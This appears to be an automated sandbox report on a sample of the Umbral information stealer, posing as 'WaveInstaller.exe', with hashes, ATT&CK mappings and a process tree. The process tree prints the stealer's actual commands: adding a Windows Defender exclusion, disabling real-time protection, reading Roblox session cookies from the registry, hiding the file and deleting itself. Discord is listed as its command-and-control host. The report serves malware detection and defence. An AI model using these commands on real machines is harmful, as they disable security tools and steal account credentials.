umbral | c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd

Analysis

max time kernel
6s
max time network
4s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 11:22

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General

Target

WaveInstaller.exe
Size

229KB
MD5

7ca49c1e4deac51030961240dc071e44
SHA1

dbe976f4e1ca8476cf35105e214e98c071bdb601
SHA256

c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd
SHA512

cb70825c4cebc592cfe281214f3a614a5a0eac78dac3cc0a5da7116b9d2eb5af718745067c0c7be3b2957c3ddade18416171863490d40c0bec8162e0322303ae
SSDEEP

6144:FloZMZrIkd8g+EtXHkv/iD4SpQvDJ6id1IJbGmTuOb8e1mBi:HoZ6L+EP8SpQvDJ6id1IJbGmT5D

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2800	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	WaveInstaller.exe

Deletes itself 1 IoCs

pid	Process
2220	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1256	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2268	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2768	WaveInstaller.exe
2800	powershell.exe
2484	powershell.exe
468	powershell.exe
2968	powershell.exe
780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	WaveInstaller.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	wmic.exe
Token: SeSecurityPrivilege	1512	wmic.exe
Token: SeTakeOwnershipPrivilege	1512	wmic.exe
Token: SeLoadDriverPrivilege	1512	wmic.exe
Token: SeSystemProfilePrivilege	1512	wmic.exe
Token: SeSystemtimePrivilege	1512	wmic.exe
Token: SeProfSingleProcessPrivilege	1512	wmic.exe
Token: SeIncBasePriorityPrivilege	1512	wmic.exe
Token: SeCreatePagefilePrivilege	1512	wmic.exe
Token: SeBackupPrivilege	1512	wmic.exe
Token: SeRestorePrivilege	1512	wmic.exe
Token: SeShutdownPrivilege	1512	wmic.exe
Token: SeDebugPrivilege	1512	wmic.exe
Token: SeSystemEnvironmentPrivilege	1512	wmic.exe
Token: SeRemoteShutdownPrivilege	1512	wmic.exe
Token: SeUndockPrivilege	1512	wmic.exe
Token: SeManageVolumePrivilege	1512	wmic.exe
Token: 33	1512	wmic.exe
Token: 34	1512	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	28
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	28
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	28
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	31
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	31
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	31
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	33
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	33
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	33
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	35
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	35
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	35
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	37
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	37
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	37
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	39
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	39
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	39
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	41
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	41
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	41
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	43
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	43
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	43
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	45
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	45
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	45
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	47
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	47
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	47
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	49
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	49
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	49
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	51
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	51
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	51
PID 2220 wrote to memory of 2268	2220	cmd.exe	53
PID 2220 wrote to memory of 2268	2220	cmd.exe	53
PID 2220 wrote to memory of 2268	2220	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2648	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
  2⤵
  - Views/modifies file attributes
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1256
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f5c89ae426ee5c4d5dbe032a708f6014

SHA1
4c4e169947b405d0f05ac1dc1d9098fe457f0284

SHA256
8bf9e7d0f85697f2f94b6b99305cc20fa09a416fe66490ba28771250e552cf28

SHA512
a9eb13c9b239e595d48b8206decef4447dec77753f356400dbcb1ba6b1ac22971a0629f02d8e5208d8de4429161611e7654daa3975c8243d477929bed418bc73

Download Submit
memory/780-44-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2484-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2484-15-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2768-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

Filesize
4KB

Download
memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp

Filesize
256KB

Download
memory/2768-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2768-48-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2800-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download